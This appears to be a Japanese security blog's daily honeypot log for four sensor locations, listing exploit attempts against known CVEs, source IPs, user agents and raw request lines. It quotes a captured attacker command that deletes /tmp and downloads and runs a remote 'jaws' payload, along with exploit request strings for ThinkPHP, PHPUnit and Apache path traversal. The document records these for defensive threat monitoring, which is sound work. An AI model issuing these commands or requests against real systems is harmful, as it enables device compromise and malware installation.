コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2023/06/18 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2023/06/18分です。

特徴
共通

GPONルータの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

/.gitへのスキャン行為
136.243.134.246に関する不正通信
5.188.210.227に関する不正通信
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws
Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
curlによるスキャン行為
.cssへのスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws
Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
Laravelへのスキャン行為

を確認しました。

Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Nmap Scripting Engineによるスキャン行為
.jsへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為

を確認しました。

他
アクセス数推移

JP：総アクセス数：76 (前日比：-29)
US：総アクセス数：146 (前日比：22)
UK：総アクセス数：85 (前日比：-236)
SG：総アクセス数：128 (前日比：-27)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 5.188.210.227 Russia
2 23.98.191.47 United States
2 34.71.192.26 United States
2 43.134.46.167 Singapore
17 43.154.141.71 Singapore
1 45.56.108.128 United States
1 45.79.181.179 United States
1 45.79.181.223 United States
1 45.83.67.192 Germany
1 45.156.128.7 Hungary
1 60.223.233.250 China
1 64.227.146.163 United States
1 66.240.205.34 United States
1 79.124.56.98 Bulgaria
1 80.94.92.24 Romania
1 104.192.0.50 United States
1 109.237.97.227 Russia
18 135.125.246.110 France
1 162.240.105.10 United States
1 167.94.138.33 United States
1 167.172.86.194 United States
1 167.248.133.124 United States
1 170.64.145.234 United States
1 172.105.128.13 United States
1 180.225.13.60 South Korea
2 184.105.139.70 United States
1 185.180.143.81 Portugal
7 185.254.196.173 Ukraine
1 194.165.17.11 Panama
1 198.46.154.138 United States
1 198.98.57.169 United States
1 198.199.100.116 United States
1 205.210.31.200 United States

UserAgent一覧

件数 UserAgent
10 -
1 Go-http-client/1.1
1 Hello, world
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
17 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
35 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1 Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数 Method Request Protocol
1 Gh0st\xad
1 MGLNDD_18.179.20.5_80\n
1 \x03
4 \x16\x03\x01
2 CONNECT 136[.]243[.]134[.]246:32360 HTTP/1.1
33 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /Pages/log/ HTTP/1.1
6 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /sendgrid/.env HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
1 GET /v3/time HTTP/1.1
1 GET http[:]//5[.]188[.]210[.]227/echo.php HTTP/1.1
17 HEAD /Core/Skin/Login.aspx HTTP/1.1
1 HEAD / HTTP/1.1
2 POST /boaform/admin/formLogin HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 20.29.40.173 United States
1 23.94.201.101 United States
2 31.172.80.202 Germany
1 45.79.172.21 United States
1 45.79.181.223 United States
1 45.79.181.251 United States
1 45.137.206.172 Netherlands
1 45.227.254.49 Belize
2 47.103.142.68 China
2 51.79.29.48 Canada
1 51.159.214.49 France
13 54.36.115.221 France
7 54.37.79.75 France
1 64.62.197.174 United States
1 64.62.197.178 United States
2 66.175.213.4 United States
1 66.240.205.34 United States
4 79.124.56.98 Bulgaria
12 83.97.73.89 Germany
1 85.208.136.140 Bulgaria
1 89.185.31.9 Ukraine
1 95.214.27.50 Bulgaria
2 109.237.97.180 Russia
1 125.32.155.14 China
1 161.35.190.246 United States
2 162.142.125.217 United States
51 172.104.4.17 United States
1 172.104.11.34 United States
3 172.105.128.11 United States
1 183.136.225.32 China
1 185.180.143.6 Portugal
1 185.180.143.18 Portugal
2 192.9.249.141 United States
1 192.155.90.118 United States
2 193.32.162.190 Romania
1 194.165.17.11 Panama
2 198.98.57.169 United States
1 198.199.108.189 United States
1 205.210.31.203 United States
2 206.189.196.2 United States
10 209.97.165.188 United States
1 218.4.170.126 China
1 220.180.170.188 China

UserAgent一覧

件数 UserAgent
20 -
1 Go-http-client/1.1
3 Hello, world
2 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
6 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.57
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
12 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
4 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
1 Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a
23 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0
1 Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
3 Mozilla/5.0 zgrab/0.x
5 Mozilla/5.0
51 curl/7.54.0

リクエスト内容一覧

件数 Method Request Protocol
1 Gh0st\xad
1 MGLNDD_34.68.118.83_80\n
2 \x03
1 \x16\x03\x01\x01H\x01
14 \x16\x03\x01
1 CONNECT google[.]com:443 HTTP/1.1
1 GET /../../mnt/mtd/Config/Account1 HTTP/1.1
1 GET /../../mnt/mtd/Config/Account2 HTTP/1.1
26 GET /.env HTTP/1.1
1 GET /.git/HEAD HTTP/1.1
1 GET /1.php HTTP/1.1
1 GET /3myC HTTP/1.1
1 GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1
1 GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /CSS/Miniweb.css HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /Pages/log/ HTTP/1.1
1 GET /Portal/Portal.mwsl HTTP/1.1
1 GET /Portal0000.htm HTTP/1.1
1 GET /__Additional HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /admin.asp HTTP/1.1
1 GET /admin.cfm HTTP/1.1
1 GET /admin.cgi HTTP/1.1
1 GET /admin.html HTTP/1.1
1 GET /admin.jhtml HTTP/1.1
1 GET /admin.jsa HTTP/1.1
1 GET /admin.php HTTP/1.1
1 GET /admin.shtml HTTP/1.1
1 GET /base.pl HTTP/1.1
1 GET /bundle.js HTTP/1.1
4 GET /cdn-cgi/trace HTTP/1.1
1 GET /client/get_targets HTTP/1.1
1 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /default.asp HTTP/1.1
1 GET /default.cgi HTTP/1.1
1 GET /default.html HTTP/1.1
1 GET /default.jhtml HTTP/1.1
1 GET /default.jsa HTTP/1.1
1 GET /default.shtml HTTP/1.1
1 GET /docs/cplugError.html/ HTTP/1.1
8 GET /favicon.ico HTTP/1.1
1 GET /files/ HTTP/1.1
1 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /geoserver HTTP/1.1
1 GET /home.jsa HTTP/1.1
1 GET /home.shtml HTTP/1.1
1 GET /index.cfm HTTP/1.1
1 GET /index.jsa HTTP/1.1
1 GET /index.jsp HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /indice.asp HTTP/1.1
1 GET /indice.pl HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /localstart.asp HTTP/1.1
1 GET /localstart.jsa HTTP/1.1
1 GET /main.aspx HTTP/1.1
1 GET /main.jsp HTTP/1.1
1 GET /main.shtml HTTP/1.1
1 GET /menu.cfm HTTP/1.1
1 GET /nmaplowercheck1686994553 HTTP/1.1
1 GET /pools/default/buckets HTTP/1.1
1 GET /pools HTTP/1.1
1 GET /readme.txt HTTP/1.1
2 GET /robots.txt HTTP/1.1
1 GET /server-status HTTP/1.1
3 GET /shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /start.asp HTTP/1.1
1 GET /start.cfm HTTP/1.1
1 GET /start.jhtml HTTP/1.1
1 GET /ui/authentication HTTP/1.1
1 GET /upl.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 HEAD / HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
7 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /scripts/WPnBr.dll HTTP/1.1
1 POST /sdk HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 PRI * HTTP/2.0
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
2 45.79.128.205 United States
2 45.79.172.21 United States
1 45.79.181.94 United States
1 45.79.181.104 United States
1 45.79.181.179 United States
1 45.83.67.87 Germany
1 45.137.206.172 Netherlands
1 45.186.202.235 Venezuela
6 54.36.115.221 France
20 54.37.79.75 France
1 64.62.197.107 United States
1 64.62.197.116 United States
1 66.240.192.82 United States
3 79.124.56.98 Bulgaria
12 83.97.73.89 Germany
1 84.54.50.20 Bulgaria
1 85.208.136.140 Bulgaria
1 91.191.209.206 Bulgaria
1 95.214.27.50 Bulgaria
2 109.237.97.180 Russia
1 138.68.80.252 United States
2 138.68.81.206 United States
1 143.110.182.33 United States
1 157.230.99.148 United States
2 167.94.138.36 United States
2 167.94.146.59 United States
2 167.99.190.225 United States
1 172.104.11.34 United States
1 172.104.11.46 United States
2 172.104.11.51 United States
1 179.43.177.244 Panama
1 185.180.143.18 Portugal
1 192.155.90.118 United States
2 193.32.162.190 Romania
1 194.165.16.37 Panama
2 198.98.57.169 United States
1 198.235.24.229 United States
1 205.210.31.154 United States

UserAgent一覧

件数 UserAgent
21 -
4 FooBarTest
1 Go-http-client/1.1
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
12 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
3 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
27 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
5 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
3 Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数 Method Request Protocol
2 \x03
1 \x16\x03\x01\x01H\x01
15 \x16\x03\x01
1 CONNECT google[.]com:443 HTTP/1.1
1 GET /../../mnt/mtd/Config/Account1 HTTP/1.1
1 GET /../../mnt/mtd/Config/Account2 HTTP/1.1
27 GET /.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /Pages/log/ HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0
1 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
6 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /geoserver HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /ui/authentication HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
4 GET http[:]//test[.]getproxylist[.]com/ HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
8 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 PRI * HTTP/2.0
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 45.56.108.128 United States
1 45.79.128.205 United States
1 45.79.181.94 United States
1 45.79.181.104 United States
1 45.79.181.223 United States
1 45.135.232.28 Russia
2 45.137.206.172 Netherlands
1 47.103.142.68 China
23 51.79.29.48 Canada
7 54.36.115.221 France
1 64.62.197.18 United States
1 64.62.197.30 United States
1 66.240.192.82 United States
5 79.124.56.98 Bulgaria
12 83.97.73.89 Germany
1 84.54.50.20 Bulgaria
1 85.208.136.140 Bulgaria
1 87.251.64.11 Russia
10 103.187.191.162 private ip address
1 103.187.191.172 private ip address
1 103.187.191.178 private ip address
1 103.187.191.182 private ip address
1 103.187.191.228 private ip address
4 107.155.56.171 United States
1 107.170.242.10 United States
2 109.237.97.180 Russia
1 109.237.97.227 Russia
1 117.196.31.146 India
1 120.229.98.34 China
1 138.68.153.47 United States
10 159.203.124.185 United States
2 162.142.125.13 United States
2 162.142.125.215 United States
2 167.99.190.225 United States
2 167.248.133.34 United States
2 172.104.11.4 United States
1 172.104.11.34 United States
1 172.105.128.11 United States
1 179.43.177.244 Panama
2 183.136.225.32 China
3 192.155.90.118 United States
1 192.155.90.220 United States
1 194.165.16.37 Panama
7 198.98.57.169 United States
1 198.235.24.33 United States
1 198.235.24.235 United States
1 202.14.121.232 India
1 212.224.107.53 Germany

UserAgent一覧

件数 UserAgent
43 -
2 Go-http-client/1.1
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
3 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11
7 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 YaBrowser/23.1.2.987 Yowser/2.5 Safari/537.36
12 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
5 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
2 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
32 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
10 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1 Mozilla/5.0 (compatible; Nmap Scripting Engine; https[:]//nmap[.]org/book/nse.html)
1 Mozilla/5.0 zgrab/0.x
2 Mozilla/5.0

リクエスト内容一覧

件数 Method Request Protocol
2 -
1 MGLNDD_13.67.44.234_80
1 \x03
1 \x16\x03\x01\x01H\x01
1 \x16\x03\x01\x01\t\x01
13 \x16\x03\x01\x02
18 \x16\x03\x01
2 CONNECT google[.]com:443 HTTP/1.1
32 GET /.env HTTP/1.1
1 GET /1.php HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /Pages/log/ HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0
1 GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0
1 GET /bundle.js HTTP/1.1
1 GET /cdn-cgi/trace HTTP/1.1
1 GET /client/get_targets HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /docker-compose.yml HTTP/1.1
8 GET /favicon.ico HTTP/1.1
1 GET /files/ HTTP/1.1
1 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /geoserver HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
2 GET /robots.txt HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
1 GET /ui/authentication HTTP/1.1
1 GET /upl.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
15 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /sdk HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 PRI * HTTP/2.0